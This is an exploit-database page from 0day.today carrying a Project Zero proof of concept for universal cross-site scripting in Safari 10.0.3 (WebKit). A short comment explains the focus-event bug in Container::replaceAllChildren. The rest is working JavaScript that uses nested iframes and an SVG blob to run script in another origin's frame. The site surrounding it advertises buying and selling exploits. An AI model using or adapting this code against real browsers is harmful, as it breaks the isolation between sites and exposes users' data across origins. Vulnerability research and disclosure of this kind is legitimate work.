0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Apple WebKit / Safari 10.0.3 (12602.4.8) - Universal Cross-Site Scripting Exploit
Author
Risk
![](/img/risk/critlow_2.gif)
Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1119 This is somewhat similar to https://crbug.com/663476. Here's a snippet of Container::replaceAllChildren. while (RefPtr<Node> child = m_firstChild) { removeBetween(nullptr, child->nextSibling(), *child); notifyChildNodeRemoved(*this, *child); } If the location hash value is set, the page will give focus to the associated element. However, if there is a stylesheet that has not been loaded yet, the focusing will be delayed until the stylesheet gets loaded. The problem is that when the link element linked to the last pending stylesheet is removed from the parent, the notifyChildNodeRemoved function may end up to fire a focus event which runs arbitrary JavaScript code, which can make an iframe(|g| in the PoC) that has an attached frame but has no parent. Tested on Safari 10.0.3(12602.4.8). --> <html> <head> </head> <body> <script> let f = document.body.appendChild(document.createElement('iframe')); let inp = f.contentDocument.head.appendChild(document.createElement('input')); let link = inp.appendChild(document.createElement('link')); link.rel = 'stylesheet'; link.href = 'data:,aaaaazxczxczzxzcz'; let btn = f.contentDocument.body.appendChild(document.createElement('button')); btn.id = 'btn'; btn.onfocus = () => { btn.onfocus = null; window.g = inp.appendChild(document.createElement('iframe')); window.g.onload = () => { window.g.onload = null; window.g.src = 'javascript:alert(location)'; let xml = ` <svg xmlns="http://www.w3.org/2000/svg"> <script> document.documentElement.appendChild(parent.g); </sc` + `ript> <element a="1" a="2" /> </svg>`; let h = document.body.appendChild(document.createElement('iframe')); h.src = URL.createObjectURL(new Blob([xml], {type: 'text/xml'})); }; window.g.src = 'https://abc.xyz/'; }; f.contentWindow.location.hash = 'btn'; inp.textContent = ''; </script> </body> </html> # 0day.today [2024-06-28] #